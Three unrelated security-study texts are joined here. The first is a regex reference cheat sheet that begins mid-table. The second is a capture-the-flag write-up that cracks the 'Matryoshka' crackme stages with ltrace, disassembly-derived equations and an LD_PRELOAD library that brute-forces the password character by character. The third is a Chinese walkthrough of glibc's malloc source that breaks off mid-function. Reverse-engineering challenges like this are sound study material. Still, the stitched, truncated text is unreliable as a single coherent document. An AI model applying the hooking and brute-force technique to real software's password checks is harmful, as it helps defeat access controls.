Greedy quantifier| |`a*?` | Lazy quantifier| |`a*+` | Possessive quantifier| ### Common Metacharacters - \^ - \{ - \+ - \< - \[ - \* - \) - \> - \. - \( - \| - \$ - \\ - \? {.cols-3 .marker-none} Escape these special characters with `\` ### Meta Sequences {.row-span-4} | Pattern | Description | |--------------|-------------------------------------------------------------| | `.` | Any single character | | `\s` | Any whitespace character | | `\S` | Any non-whitespace character | | `\d` | Any digit, Same as [0-9] | | `\D` | Any non-digit, Same as [^0-9] | | `\w` | Any word character | | `\W` | Any non-word character | | `\X` | Any Unicode sequences, linebreaks included | | `\C` | Match one data unit | | `\R` | Unicode newlines | | `\v` | Vertical whitespace character | | `\V` | Negation of \v - anything except newlines and vertical tabs | | `\h` | Horizontal whitespace character | | `\H` | Negation of \h | | `\K` | Reset match | | `\n` | Match nth subpattern | | `\pX` | Unicode property X | | `\p{...}` | Unicode property or script category | | `\PX` | Negation of \pX | | `\P{...}` | Negation of \p | | `\Q...\E` | Quote; treat as literals | | `\k<name>` | Match subpattern `name` | | `\k'name'` | Match subpattern `name` | | `\k{name}` | Match subpattern `name` | | `\gn` | Match nth subpattern | | `\g{n}` | Match nth subpattern | | `\g<n>` | Recurse nth capture group | | `\g'n'` | Recurses nth capture group. | | `\g{-n}` | Match nth relative previous subpattern | | `\g<+n>` | Recurse nth relative upcoming subpattern | | `\g'+n'` | Match nth relative upcoming subpattern | | `\g'letter'` | Recurse named capture group `letter` | | `\g{letter}` | Match previously-named capture group `letter` | | `\g<letter>` | Recurses named capture group `letter` | | `\xYY` | Hex character YY | | `\x{YYYY}` | Hex character YYYY | | `\ddd` | Octal character ddd | | `\cY` | Control character Y | | `[\b]` | Backspace character | | `\` | Makes any character literal | ### Anchors | Pattern | Description | |---------|------------------------| | `\G` | Start of match | | `^` | Start of string | | `$` | End of string | | `\A` | Start of string | | `\Z` | End of string | | `\z` | Absolute end of string | | `\b` | A word boundary | | `\B` | Non-word boundary | ### Substitution | Pattern | Description | |------------|---------------------------------| | `\0` | Complete match contents | | `\1` | Contents in capture group 1 | | `$1` | Contents in capture group 1 | | `${foo}` | Contents in capture group `foo` | | `\x20` | Hexadecimal replacement values | | `\x{06fa}` | Hexadecimal replacement values | | `\t` | Tab | | `\r` | Carriage return | | `\n` | Newline | | `\f` | Form-feed | | `\U` | Uppercase Transformation | | `\L` | Lowercase Transformation | | `\E` | Terminate any Transformation | ### Group Constructs | Pattern | Description | |-----------|-----------------------------------| | `(...)` | Capture everything enclosed | | `(a|b)` | Match either a or b | | `(?:...)` | Match everything enclosed | | `(?>...)` | Atomic group (non-capturing) | | `(?|...)` | Duplicate subpattern group number | | `(?#...)` | Comment | |`(?'name'...)` | Named Capturing Group| |`(?<name>...)` | Named Capturing Group| |`(?P<name>...)` | Named Capturing Group| |`(?imsxXU)` | Inline modifiers| |`(?(DEFINE)...)` | Pre-define patterns before using them| ### Assertions | - | - | |---------------------|---------------------------------| | `(?(1)yes|no)` | Conditional statement | | `(?(R)yes|no)` | Conditional statement | | `(?(R#)yes|no)` | Recursive Conditional statement | | `(?(R&name)yes|no)` | Conditional statement | | `(?(?=...)yes|no)` | Lookahead conditional | | `(?(?<=...)yes|no)` | Lookbehind conditional | ### Lookarounds | - | - | |------------|---------------------| | `(?=...)` | Positive Lookahead | | `(?!...)` | Negative Lookahead | | `(?<=...)` | Positive Lookbehind | | `(?<!...)` | Negative Lookbehind | Lookaround lets you match a group before (lookbehind) or after (lookahead) your main pattern without including it in the result. ### Flags/Modifiers | Pattern | Description | |---------|-----------------------| | `g` | Global | | `m` | Multiline | | `i` | Case insensitive | | `x` | Ignore whitespace | | `s` | Single line | | `u` | Unicode | | `X` | eXtended | | `U` | Ungreedy | | `A` | Anchor | | `J` | Duplicate group names | ### Recurse | - | - | |-------------|-----------------------------------| | `(?R)` | Recurse entire pattern | | `(?1)` | Recurse first subpattern | | `(?+1)` | Recurse first relative subpattern | | `(?&name)` | Recurse subpattern `name` | | `(?P=name)` | Match subpattern `name` | | `(?P>name)` | Recurse subpattern `name` | ### POSIX Character Classes {.col-span-2} | Character Class | Same as | Meaning | |-----------------|-------------------------|--------------------------------| | `[[:alnum:]]` | `[0-9A-Za-z]` | Letters and digits | | `[[:alpha:]]` | `[A-Za-z]` | Letters | | `[[:ascii:]]` | `[\x00-\x7F]` | ASCII codes 0-127 | | `[[:blank:]]` | `[\t ]` | Space or tab only | | `[[:cntrl:]]` | `[\x00-\x1F\x7F]` | Control characters | | `[[:digit:]]` | `[0-9]` | Decimal digits | | `[[:graph:]]` | `[[:alnum:][:punct:]]` | Visible characters (not space) | | `[[:lower:]]` | `[a-z]` | Lowercase letters | | `[[:print:]]` | `[ -~] == [ [:graph:]]` | Visible characters | | `[[:punct:]]` | <code>[!"#$%&’()*+,-./:;<=>?@[]^_\`{\|}~]</code> | Visible punctuation characters | | `[[:space:]]` | <code>[\t\n\v\f\r ]</code> | Whitespace | | `[[:upper:]]` | `[A-Z]` | Uppercase letters | | `[[:word:]]` | `[0-9A-Za-z_]` | Word characters | | `[[:xdigit:]]` | `[0-9A-Fa-f]` | Hexadecimal digits | | `[[:<:]]` | `[\b(?=\w)]` | Start of word | | `[[:>:]]` | `[\b(?<=\w)]` | End of word | {.show-header} ### Control verb | - | - | |------------------------|-----------------------| | `(*ACCEPT)` | Control verb | | `(*FAIL)` | Control verb | | `(*MARK:NAME)` | Control verb | | `(*COMMIT)` | Control verb | | `(*PRUNE)` | Control verb | | `(*SKIP)` | Control verb | | `(*THEN)` | Control verb | | `(*UTF)` | Pattern modifier | | `(*UTF8)` | Pattern modifier | | `(*UTF16)` | Pattern modifier | | `(*UTF32)` | Pattern modifier | | `(*UCP)` | Pattern modifier | | `(*CR)` | Line break modifier | | `(*LF)` | Line break modifier | | `(*CRLF)` | Line break modifier | | `(*ANYCRLF)` | Line break modifier | | `(*ANY)` | Line break modifier | | `\R` | Line break modifier | | `(*BSR_ANYCRLF)` | Line break modifier | | `(*BSR_UNICODE)` | Line break modifier | | `(*LIMIT_MATCH=x)` | Regex engine modifier | | `(*LIMIT_RECURSION=d)` | Regex engine modifier | | `(*NO_AUTO_POSSESS)` | Regex engine modifier | | `(*NO_START_OPT)` | Regex engine modifier | Regex examples{.cols-3} -------------- ### Characters | Pattern | Matches | |----------------|------------------------------------------------------------| | `ring ` | Match <yel>ring</yel> sp<yel>ring</yel>board etc. | | `. ` | Match <yel>a</yel>, <yel>9</yel>, <yel>+</yel> etc. | | `h.o ` | Match <yel>hoo</yel>, <yel>h2o</yel>, <yel>h/o</yel> etc. | | `ring\? ` | Match <yel>ring?</yel> | | `\(quiet\) ` | Match <yel>(quiet)</yel> | | `c:\\windows ` | Match <yel>c:\windows</yel> | Use `\` to search for these special characters: <br> `[ \ ^ $ . | ? * + ( ) { }` ### Alternatives | Pattern | Matches | |----------------|--------------------------------------------| | `cat|dog ` | Match <yel>cat</yel> or <yel>dog</yel> | | `id|identity ` | Match <yel>id</yel> or <yel>id</yel>entity | | `identity|id ` | Match <yel>id</yel> or <yel>identity</yel> | Order longer to shorter when alternatives overlap ### Character classes | Pattern | Matches | |-------------------|--------------------------------------------------------------------| | `[aeiou]` | Match any vowel | | `[^aeiou]` | Match a NON vowel | | `r[iau]ng` | Match <yel>ring</yel>, w<yel>rang</yel>le, sp<yel>rung</yel>, etc. | | `gr[ae]y` | Match <yel>gray</yel> or <yel>grey</yel> | | `[a-zA-Z0-9]` | Match any letter or digit | | `[\u3a00-\ufa99]` | Match any [Unicode Hàn (中文)](https://unicode.org/charts/unihan.html) | In `[ ]` always escape `. \ ]` and sometimes `^ - .` ### Shorthand classes | Pattern | Meaning | |------------------|-------------------------------------------------------| | `\w ` | "Word" character <br>_(letter, digit, or underscore)_ | | `\d ` | Digit | | `\s ` | Whitespace <br>_(space, tab, vtab, newline)_ | | `\W, \D, or \S ` | Not word, digit, or whitespace | | `[\D\S] ` | Means not digit or whitespace, both match | | `[^\d\s] ` | Disallow digit and whitespace | ### Occurrences | Pattern | Matches | |---------------------|--------------------------------------------------------------------| | `colou?r` | Match <yel>color</yel> or <yel>colour</yel> | | `[BW]ill[ieamy's]*` | Match <yel>Bill</yel>, <yel>Willy</yel>, <yel>William's</yel> etc. | | `[a-zA-Z]+` | Match 1 or more letters | | `\d{3}-\d{2}-\d{4}` | Match a SSN | | `[a-z]\w{1,7}` | Match a UW NetID | ### Greedy versus lazy | Pattern | Meaning | |--------------------------|---------------------------------------------------------| | `* + {n,}`<br>_greedy_ | Match as much as possible | | `<.+> ` | Finds 1 big match in <yel>\<b>bold\<\/b></yel> | | `*? +? {n,}?`<br>_lazy_ | Match as little as possible | | `<.+?>` | Finds 2 matches in \<<yel>b</yel>>bold\<<yel>\/b</yel>> | ### Scope {.col-span-2} | Pattern | Meaning | |--------------------|--------------------------------------------------------| | `\b ` | "Word" edge (next to non "word" character) | | `\bring ` | Word starts with "ring", ex <yel>ringtone</yel> | | `ring\b ` | Word ends with "ring", ex <yel>spring</yel> | | `\b9\b ` | Match single digit <yel>9</yel>, not 19, 91, 99, etc.. | | `\b[a-zA-Z]{6}\b ` | Match 6-letter words | | `\B ` | Not word edge | | `\Bring\B ` | Match <yel>springs</yel> and <yel>wringer</yel> | | `^\d*$ ` | Entire string must be digits | | `^[a-zA-Z]{4,20}$` | String must have 4-20 letters | | `^[A-Z] ` | String must begin with capital letter | | `[\.!?"')]$ ` | String must end with terminal puncutation | ### Modifiers | Pattern | Meaning | |---------------------|----------------------------------------------------------| | `(?i)`[a-z]*`(?-i)` | Ignore case ON / OFF | | `(?s)`.*`(?-s)` | Match multiple lines (causes . to match newline) | | `(?m)`^.*;$`(?-m)` | <yel>^</yel> & <yel>$</yel> match lines not whole string | | `(?x)` | #free-spacing mode, this EOL comment ignored | | `(?-x)` | free-spacing mode OFF | | /regex/`ismx` | Modify mode for entire string | ### Groups | Pattern | Meaning | |------------------|---------------------------------------------| | `(in\|out)put ` | Match <yel>input</yel> or <yel>output</yel> | | `\d{5}(-\d{4})?` | US zip code _("+ 4" optional)_ | Parser tries EACH alternative if match fails after group. <br> Can lead to catastrophic backtracking. ### Back references | Pattern | Matches | |--------------------------|-----------------------------------------------------------------------------| | `(to) (be) or not \1 \2` | Match <yel>to be or not to be</yel> | | `([^\s])\1{2}` | Match non-space, then same twice more &nbsp; <yel>aaa</yel>, <yel>...</yel> | | `\b(\w+)\s+\1\b` | Match doubled words | ### Non-capturing group | Pattern | Meaning | |---------------------|------------------------------------| | `on(?:click\|load)` | Faster than: <br>`on(click\|load)` | Use non-capturing or atomic groups when possible ### Atomic groups | Pattern | Meaning | |------------------------|--------------------------------------------------| | `(?>red\|green\|blue)` | Faster than non-capturing | | `(?>id\|identity)\b` | Match <yel>id</yel>, but not <yel>id</yel>entity | "id" matches, but `\b` fails after atomic group, parser doesn't backtrack into group to retry 'identity' <br> <br> If alternatives overlap, order longer to shorter. ### Lookaround {.row-span-2 .col-span-2} | Pattern | Meaning | |-------------------------|-----------------------------------------------------------------------| | `(?= )` | Lookahead, if you can find ahead | | `(?! )` | Lookahead,if you can not find ahead | | `(?<= )` | Lookbehind, if you can find behind | | `(?<! )` | Lookbehind, if you can NOT find behind | | `\b\w+?(?=ing\b)` | Match <yel>warbl</yel>ing, <yel>str</yel>ing, <yel>fish</yel>ing, ... | | `\b(?!\w+ing\b)\w+\b` | Words NOT ending in "ing" | | `(?<=\bpre).*?\b ` | Match pre<yel>tend</yel>, pre<yel>sent</yel>, pre<yel>fix</yel>, ... | | `\b\w{3}(?<!pre)\w*?\b` | Words NOT starting with "pre" | | `\b\w+(?<!ing)\b` | Match words NOT ending in "ing" | ### If-then-else Match "Mr." or "Ms." if word "her" is later in string ``` M(?(?=.*?\bher\b)s|r)\. ``` requires lookaround for IF condition RegEx in Python --------------- ### Getting started Import the regular expressions module ```python import re ``` ### Examples {.col-span-2 .row-span-3} #### re.search() ```python >>> sentence = 'This is a sample string' >>> bool(re.search(r'this', sentence, flags=re.I)) True >>> bool(re.search(r'xyz', sentence)) False ``` #### re.findall() ```python >>> re.findall(r'\bs?pare?\b', 'par spar apparent spare part pare') ['par', 'spar', 'spare', 'pare'] >>> re.findall(r'\b0*[1-9]\d{2,}\b', '0501 035 154 12 26 98234') ['0501', '154', '98234'] ``` #### re.finditer() ```python >>> m_iter = re.finditer(r'[0-9]+', '45 349 651 593 4 204') >>> [m[0] for m in m_iter if int(m[0]) < 350] ['45', '349', '4', '204'] ``` #### re.split() ```python >>> re.split(r'\d+', 'Sample123string42with777numbers') ['Sample', 'string', 'with', 'numbers'] ``` #### re.sub() ```python >>> ip_lines = "catapults\nconcatenate\ncat" >>> print(re.sub(r'^', r'* ', ip_lines, flags=re.M)) * catapults * concatenate * cat ``` #### re.compile() ```python >>> pet = re.compile(r'dog') >>> type(pet) <class '_sre.SRE_Pattern'> >>> bool(pet.search('They bought a dog')) True >>> bool(pet.search('A cat crossed their path')) False ``` ### Functions | Function | Description | |---------------|-------------------------------------------------------------------| | `re.findall` | Returns a list containing all matches | | `re.finditer` | Return an iterable of match objects (one for each match) | | `re.search` | Returns a Match object if there is a match anywhere in the string | | `re.split` | Returns a list where the string has been split at each match | | `re.sub` | Replaces one or many matches with a string | | `re.compile` | Compile a regular expression pattern for later use | | `re.escape` | Return string with all non-alphanumerics backslashed | ### Flags | - | - | - | |--------|-----------------|----------------------------------------------| | `re.I` | `re.IGNORECASE` | Ignore case | | `re.M` | `re.MULTILINE` | Multiline | | `re.L` | `re.LOCALE` | Make `\w`,`\b`,`\s` _locale dependent_ | | `re.S` | `re.DOTALL` | Dot matches all _(including newline)_ | | `re.U` | `re.UNICODE` | Make `\w`,`\b`,`\d`,`\s` _unicode dependent_ | | `re.X` | `re.VERBOSE` | Readable style | Regex in JavaScript --------------- ### test() ```javascript let textA = 'I like APPles very much'; let textB = 'I like APPles'; let regex = /apples$/i // Output: false console.log(regex.test(textA)); // Output: true console.log(regex.test(textB)); ``` ### search() ```javascript let text = 'I like APPles very much'; let regexA = /apples/; let regexB = /apples/i; // Output: -1 console.log(text.search(regexA)); // Output: 7 console.log(text.search(regexB)); ``` ### exec() ```javascript let text = 'Do you like apples?'; let regex= /apples/; // Output: apples console.log(regex.exec(text)[0]); // Output: Do you like apples? console.log(regex.exec(text).input); ``` ### match() ```javascript let text = 'Here are apples and apPleS'; let regex = /apples/gi; // Output: [ "apples", "apPleS" ] console.log(text.match(regex)); ``` ### split() {.col-span-2} ```javascript let text = 'This 593 string will be brok294en at places where d1gits are.'; let regex = /\d+/g // Output: [ "This ", " string will be brok", "en at places where d", "gits are." ] console.log(text.split(regex)) ``` ### matchAll() ```javascript let regex = /t(e)(st(\d?))/g; let text = 'test1test2'; let array = [...text.matchAll(regex)]; // Output: ["test1", "e", "st1", "1"] console.log(array[0]); // Output: ["test2", "e", "st2", "2"] console.log(array[1]); ``` ### replace() ```javascript {.wrap} let text = 'Do you like aPPles?'; let regex = /apples/i // Output: Do you like mangoes? let result = text.replace(regex, 'mangoes'); console.log(result); ``` ### replaceAll() ```javascript let regex = /apples/gi; let text = 'Here are apples and apPleS'; // Output: Here are mangoes and mangoes let result = text.replaceAll(regex, "mangoes"); console.log(result); ``` Regex in PHP ------------ ### Functions {.col-span-2} | - | - | |---------------------------|------------------------------------------------------------------| | `preg_match()` | Performs a regex match | | `preg_match_all()` | Perform a global regular expression match | | `preg_replace_callback()` | Perform a regular expression search and replace using a callback | | `preg_replace()` | Perform a regular expression search and replace | | `preg_split()` | Splits a string by regex pattern | | `preg_grep()` | Returns array entries that match a pattern | ### preg_replace ```php {.wrap} $str = "Visit Microsoft!"; $regex = "/microsoft/i"; // Output: Visit QuickRef! echo preg_replace($regex, "QuickRef", $str); ``` ### preg_match ```php $str = "Visit QuickRef"; $regex = "#quickref#i"; // Output: 1 echo preg_match($regex, $str); ``` ### preg_matchall {.col-span-2 .row-span-2} ```php $regex = "/[a-zA-Z]+ (\d+)/"; $input_str = "June 24, August 13, and December 30"; if (preg_match_all($regex, $input_str, $matches_out)) { // Output: 2 echo count($matches_out); // Output: 3 echo count($matches_out[0]); // Output: Array("June 24", "August 13", "December 30") print_r($matches_out[0]); // Output: Array("24", "13", "30") print_r($matches_out[1]); } ``` ### preg_grep ```php $arr = ["Jane", "jane", "Joan", "JANE"]; $regex = "/Jane/"; // Output: Jane echo preg_grep($regex, $arr); ``` ### preg_split {.col-span-2} ```php $str = "Jane\tKate\nLucy Marion"; $regex = "@\s@"; // Output: Array("Jane", "Kate", "Lucy", "Marion") print_r(preg_split($regex, $str)); ``` Regex in Java ------------- ### Styles {.col-span-2} #### First way ```java Pattern p = Pattern.compile(".s", Pattern.CASE_INSENSITIVE); Matcher m = p.matcher("aS"); boolean s1 = m.matches(); System.out.println(s1); // Outputs: true ``` #### Second way ```java boolean s2 = Pattern.compile("[0-9]+").matcher("123").matches(); System.out.println(s2); // Outputs: true ``` #### Third way ```java boolean s3 = Pattern.matches(".s", "XXXX"); System.out.println(s3); // Outputs: false ``` ### Pattern Fields | - | - | |--------------------|---------------------------------| | `CANON_EQ` | Canonical equivalence | | `CASE_INSENSITIVE` | Case-insensitive matching | | `COMMENTS` | Permits whitespace and comments | | `DOTALL` | Dotall mode | | `MULTILINE` | Multiline mode | | `UNICODE_CASE` | Unicode-aware case folding | | `UNIX_LINES` | Unix lines mode | ### Methods #### Pattern - Pattern compile(String regex [, int flags]) - boolean matches([String regex, ] CharSequence input) - String[] split(String regex [, int limit]) - String quote(String s) #### Matcher - int start([int group | String name]) - int end([int group | String name]) - boolean find([int start]) - String group([int group | String name]) - Matcher reset() #### String - boolean matches(String regex) - String replaceAll(String regex, String replacement) - String[] split(String regex[, int limit]) There are more methods ... ### Examples {.col-span-2} Replace sentence: ```java String regex = "[A-Z\n]{5}$"; String str = "I like APP\nLE"; Pattern p = Pattern.compile(regex, Pattern.MULTILINE); Matcher m = p.matcher(str); // Outputs: I like Apple! System.out.println(m.replaceAll("pple!")); ``` Array of all matches: ```java String str = "She sells seashells by the Seashore"; String regex = "\\w*se\\w*"; Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE); Matcher m = p.matcher(str); List<String> matches = new ArrayList<>(); while (m.find()) { matches.add(m.group()); } // Outputs: [sells, seashells, Seashore] System.out.println(matches); ``` Regex in MySQL {.cols-2} ------------- ### Functions | Name | Description | |--------------------|--------------------------------------------------------------------------| | `REGEXP ` | Whether string matches regex | | `REGEXP_INSTR() ` | Starting index of substring matching regex <br>_(NOTE: Only MySQL 8.0+)_ | | `REGEXP_LIKE() ` | Whether string matches regex <br>_(NOTE: Only MySQL 8.0+)_ | | `REGEXP_REPLACE()` | Replace substrings matching regex <br>_(NOTE: Only MySQL 8.0+)_ | | `REGEXP_SUBSTR() ` | Return substring matching regex <br>_(NOTE: Only MySQL 8.0+)_ | ### REGEXP ```sql {.wrap} expr REGEXP pat ``` #### Examples ```sql mysql> SELECT 'abc' REGEXP '^[a-d]'; 1 mysql> SELECT name FROM cities WHERE name REGEXP '^A'; mysql> SELECT name FROM cities WHERE name NOT REGEXP '^A'; mysql> SELECT name FROM cities WHERE name REGEXP 'A|B|R'; mysql> SELECT 'a' REGEXP 'A', 'a' REGEXP BINARY 'A'; 1 0 ``` ### REGEXP_REPLACE ``` {.wrap} REGEXP_REPLACE(expr, pat, repl[, pos[, occurrence[, match_type]]]) ``` #### Examples ```sql mysql> SELECT REGEXP_REPLACE('a b c', 'b', 'X'); a X c mysql> SELECT REGEXP_REPLACE('abc ghi', '[a-z]+', 'X', 1, 2); abc X ``` ### REGEXP_SUBSTR ``` {.wrap} REGEXP_SUBSTR(expr, pat[, pos[, occurrence[, match_type]]]) ``` #### Examples ```sql mysql> SELECT REGEXP_SUBSTR('abc def ghi', '[a-z]+'); abc mysql> SELECT REGEXP_SUBSTR('abc def ghi', '[a-z]+', 1, 3); ghi ``` ### REGEXP_LIKE ``` REGEXP_LIKE(expr, pat[, match_type]) ``` #### Examples ```sql mysql> SELECT regexp_like('aba', 'b+') 1 mysql> SELECT regexp_like('aba', 'b{2}') 0 mysql> # i: case-insensitive mysql> SELECT regexp_like('Abba', 'ABBA', 'i'); 1 mysql> # m: multi-line mysql> SELECT regexp_like('a\nb\nc', '^b$', 'm'); 1 ``` ### REGEXP_INSTR ``` {.wrap} REGEXP_INSTR(expr, pat[, pos[, occurrence[, return_option[, match_type]]]]) ``` #### Examples ```sql mysql> SELECT regexp_instr('aa aaa aaaa', 'a{3}'); 2 mysql> SELECT regexp_instr('abba', 'b{2}', 2); 2 mysql> SELECT regexp_instr('abbabba', 'b{2}', 1, 2); 5 mysql> SELECT regexp_instr('abbabba', 'b{2}', 1, 3, 1); 7 ```
sec-knowleage
## Matryoshka (Crackme, 50+100+300+500) This task was a crackme, which given correct password, spits out the next stage (base64-encoded). Let's start with the first one. ## Stage 1 Running the binary normally, we get the usage information: ``` $ ./stage1.bin Usage: ./stage1.bin <pass> $ ./stage1.bin test Try again... ``` Hmm, let's trace the binary to see which libraries it calls: ``` $ ltrace ./stage1.bin testPass __libc_start_main(0x40064d, 2, 0x7ffc81da72a8, 0x4007a0 <unfinished ...> strcmp("testPass", "Much_secure__So_safe__Wow") = 39 fwrite("Try again...\n", 1, 13, 0x7fd915fba740Try again... ) = 13 +++ exited (status 1) +++ ``` We see it compares our input against constant. Running `./stage1.bin Much_secure__So_safe__Wow` gives us the next stage. ## Stage 2 This time we are out of luck: tracing the binary doesn't help. We need to disassemble the binary. Looking at the code, we see it consists of about 15 comparisons, such as: ``` 0x004007b0 mov rax, qword [rbp - local_30h] 0x004007b4 add rax, 8 0x004007b8 mov rax, qword [rax] ; rax=pass 0x004007bb movzx eax, byte [rax] ; rax=pass[0] 0x004007be movsx eax, al 0x004007c1 lea edx, [rax + 0x10] ; edx=pass[0]+0x10 0x004007c4 mov rax, qword [rbp - local_30h] 0x004007c8 add rax, 8 0x004007cc mov rax, qword [rax] ; rax=pass 0x004007cf add rax, 6 0x004007d3 movzx eax, byte [rax] ; rax=pass[6] 0x004007d6 movsx eax, al 0x004007d9 sub eax, 0x10 ; rax-=0x10 0x004007dc cmp edx, eax 0x004007de je 0x4007e7 ;[2] 0x004007e0 mov dword [rbp - local_14h], 0 0x004007e7 mov rax, qword [rbp - local_30h] ``` This particular comparison can be stated as `pass[0]+0x10=pass[6]-0x10`. I stepped through the whole binary and keeped track of all the equations: ``` b[0]='P' 2*b[3]=200 <=> b[3]=100 <=> b[3]='d' b[0]+0x10=b[6]-0x10 <=> b[6]='p' b[5]=0x5f <=> b[5]='_' b[1]=b[7] b[1]=b[10] b[1]-0x11=b[0] <=> b[1]='a', b[7]='a', b[10]='a' b[3]=b[9] <=> b[9]='d' b[4]='i' b[2]-b[1]=0xd <=> b[2]='n' b[8]-b[7]=0xd <=> b[8]='n' b="Pandi_panda" ``` We can construct a full password using those equations: `Pandi_panda`. Again, passing this phrase to the executable gives us another stage. ## Stage 3 This binary was much funnier. Instead of using normal calls and jumps, it relied on Unix signals for flow control. The original code could look something like this: ```c int main(int argc, char** argv){ // Stuff, checking for length and so on skipped. int pid=getpid(); signal(SIGINT, fn1); for(int i=0;i<1024;i++){ kill(pid, SIGINT); } } void fn1(int sig){ if(first_pass_character_is_ok){ signal(SIGINT, fn2); } } void fn2(int sig){ if(second_pass_character_is_ok){ signal(SIGINT, fn3); } } // And so on. The last function printed congratulations and next stage. ``` Each function sets SIGINT's handler to the next one if it's password character was correct. These functions were quite boring to reverse (but if needed, I could do this). Instead, I relied on `LD_PRELOAD`. Since each character was checked on its own, isolated from the others, I could brute force each character individually. It turned out to be quite problematic - as these functions were returning `void`, I couldn't know if the character is good. I decided to replace `signal` function as well - this way, if it was called, I knew that password was OK. This is the code I wrote: ```c #include <stdio.h> #include <stdlib.h> unsigned int tab[]= { 0x4007fd,0x40085c,0x4008c7,0x400926,0x40098a, 0x4009e8,0x400a4c,0x400ab0,0x400b14,0x400b73,0x400bd7,0x400c36, 0x400c95,0x400d0c,0x400d6b,0x400dcf,0x400e2e,0x400e8d,0x400eec, 0x400f4b,0x400faa,0x40100e }; char* pass=(char*)0x6040c0; void testx(int a){} char password[50]; int i; unsigned char cc; typedef void (*sighandler_t)(int); sighandler_t signal(int signum, sighandler_t handler){ password[i]=cc; printf("%s\n", password); return testx; } __attribute__((constructor)) void init(){ for(i=0;i<sizeof(tab)/sizeof(tab[0]);i++){ sighandler_t f = (sighandler_t)tab[i]; for(cc=0;cc<128;cc++){ pass[i]=cc; f(11); // SIGINT } } exit(0); } ``` It was basically iterating over hardcoded handler addresses and all printable characters, checking when the handler calls `signal`, indicating success. Let's see if it works: ``` $ gcc -o brute.so -shared -fPIC ld_preload_call.c $ LD_PRELOAD=./brute.so ./stage3.bin D Di Did Did_ Did_y Did_yo Did_you Did_you_ Did_you_l Did_you_li Did_you_lik Did_you_like Did_you_like_ Did_you_like_s Did_you_like_si Did_you_like_sig Did_you_like_sign Did_you_like_signa Did_you_like_signal Did_you_like_signals Did_you_like_signals? ``` Running the binary with this string we see, that it is really the password. ## Stage 4
sec-knowleage
# 申请内存块 ## __libc_malloc 一般我们会使用 malloc 函数来申请内存块,可是当仔细看 glibc 的源码实现时,其实并没有 malloc 函数。其实该函数真正调用的是 \_\_libc_malloc 函数。为什么不直接写个 malloc 函数呢,因为有时候我们可能需要不同的名称。此外,__libc_malloc 函数只是用来简单封装 _int_malloc 函数。\_int_malloc 才是申请内存块的核心。下面我们来仔细分析一下具体的实现。 该函数会首先检查是否有内存分配函数的钩子函数(__malloc_hook),这个主要用于用户自定义的堆分配函数,方便用户快速修改堆分配函数并进行测试。这里需要注意的是,**用户申请的字节一旦进入申请内存函数中就变成了无符号整数**。 ```c++ // wapper for int_malloc void *__libc_malloc(size_t bytes) { mstate ar_ptr; void * victim; // 检查是否有内存分配钩子,如果有,调用钩子并返回. void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook); if (__builtin_expect(hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS(0)); ``` 接着会寻找一个 arena 来试图分配内存。 ```c++ arena_get(ar_ptr, bytes); ``` 然后调用 _int_malloc 函数去申请对应的内存。 ```c++ victim = _int_malloc(ar_ptr, bytes); ``` 如果分配失败的话,ptmalloc 会尝试再去寻找一个可用的 arena,并分配内存。 ```c++ /* Retry with another arena only if we were able to find a usable arena before. */ if (!victim && ar_ptr != NULL) { LIBC_PROBE(memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry(ar_ptr, bytes); victim = _int_malloc(ar_ptr, bytes); } ``` 如果申请到了 arena,那么在退出之前还得解锁。 ```c++ if (ar_ptr != NULL) __libc_lock_unlock(ar_ptr->mutex); ``` 判断目前的状态是否满足以下条件 - 要么没有申请到内存 - 要么是 mmap 的内存 - **要么申请到的内存必须在其所分配的arena中** ```c++ assert(!victim || chunk_is_mmapped(mem2chunk(victim)) || ar_ptr == arena_for_chunk(mem2chunk(victim))); ``` 最后返回内存。 ```c++ return victim; } ``` ## _int_malloc _int_malloc 是内存分配的核心函数,其核心思路有如下 1. 它根据用户申请的**内存块大小**以及**相应大小 chunk 通常使用的频度**(fastbin chunk, small chunk, large chunk),依次实现了不同的分配方法。 2. 它由小到大依次检查不同的 bin 中是否有相应的空闲块可以满足用户请求的内存。 3. 当所有的空闲 chunk 都无法满足时,它会考虑 top chunk。 4. 当 top chunk 也无法满足时,堆分配器才会进行内存块申请。 在进入该函数后,函数立马定义了一系列自己需要的变量,并将用户申请的内存大小转换为内部的chunk大小。 ```c++ static void *_int_malloc(mstate av, size_t bytes) { INTERNAL_SIZE_T nb; /* normalized request size */ unsigned int idx; /* associated bin index */ mbinptr bin; /* associated bin */ mchunkptr victim; /* inspected/selected chunk */ INTERNAL_SIZE_T size; /* its size */ int victim_index; /* its bin index */ mchunkptr remainder; /* remainder from a split */ unsigned long remainder_size; /* its size */ unsigned int block; /* bit map traverser */ unsigned int bit; /* bit map traverser */ unsigned int map; /* current word of binmap */ mchunkptr fwd; /* misc temp for linking */ mchunkptr bck; /* misc temp for linking */ const char *errstr = NULL; /* Convert request size to internal form by adding SIZE_SZ bytes overhead plus possibly more to obtain necessary alignment and/or to obtain a size of at least MINSIZE, the smallest allocatable size. Also, checked_request2size traps (returning 0) request sizes that are so large that they wrap around zero when padded and aligned. */ checked_request2size(bytes, nb); ``` ### arena ```c++ /* There are no usable arenas. Fall back to sysmalloc to get a chunk from mmap. */ if (__glibc_unlikely(av == NULL)) { void *p = sysmalloc(nb, av); if (p != NULL) alloc_perturb(p, bytes); return p; } ``` ### fast bin 如果申请的 chunk 的大小位于 fastbin 范围内,**需要注意的是这里比较的是无符号整数**。**此外,是从 fastbin 的头结点开始取 chunk**。 ```c++ /* If the size qualifies as a fastbin, first check corresponding bin. This code is safe to execute even if av is not yet initialized, so we can try it without checking, which saves some time on this fast path. */ if ((unsigned long) (nb) <= (unsigned long) (get_max_fast())) { // 得到对应的fastbin的下标 idx = fastbin_index(nb); // 得到对应的fastbin的头指针 mfastbinptr *fb = &fastbin(av, idx); mchunkptr pp = *fb; // 利用fd遍历对应的bin内是否有空闲的chunk块, do { victim = pp; if (victim == NULL) break; } while ((pp = catomic_compare_and_exchange_val_acq(fb, victim->fd, victim)) != victim); // 存在可以利用的chunk if (victim != 0) { // 检查取到的 chunk 大小是否与相应的 fastbin 索引一致。 // 根据取得的 victim ,利用 chunksize 计算其大小。 // 利用fastbin_index 计算 chunk 的索引。 if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr(check_action, errstr, chunk2mem(victim), av); return NULL; } // 细致的检查。。只有在 DEBUG 的时候有用 